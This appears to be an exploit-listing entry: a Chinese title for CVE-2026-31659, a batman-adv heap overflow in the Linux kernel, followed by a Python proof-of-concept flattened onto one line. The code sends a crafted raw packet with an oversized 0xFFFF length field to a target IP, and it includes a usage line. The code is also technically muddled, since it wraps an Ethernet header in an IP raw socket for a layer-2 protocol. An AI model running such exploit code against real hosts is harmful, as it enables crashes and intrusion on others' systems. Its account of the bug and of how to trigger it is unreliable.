CVE-2026-31659 Linux内核batman-adv堆缓冲区溢出漏洞

import socket import struct # This PoC demonstrates the concept of sending a crafted packet to trigger the integer overflow. # Real exploitation requires a specific Batman-adv network setup. def send_exploit_packet(target_ip, target_port): try: # Create a raw socket (requires root privileges) sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) # Construct a malicious TT response header with a large length value # to simulate the overflow condition in batadv_tt_prepare_tvlv_global_data. # Dummy Ethernet and IP headers (simplified for PoC structure) eth_header = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00' # Batman-adv specific TVLV container # Vulnerability: Length field wraps around 16-bit boundary malicious_length = struct.pack('!H', 0xFFFF) # Max 16-bit value to trigger edge case payload = eth_header + malicious_length + b'A' * 100 # Padding sock.sendto(payload, (target_ip, 0)) print(f"[+] Packet sent to {target_ip}") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() # Usage # send_exploit_packet("192.168.1.1", 0)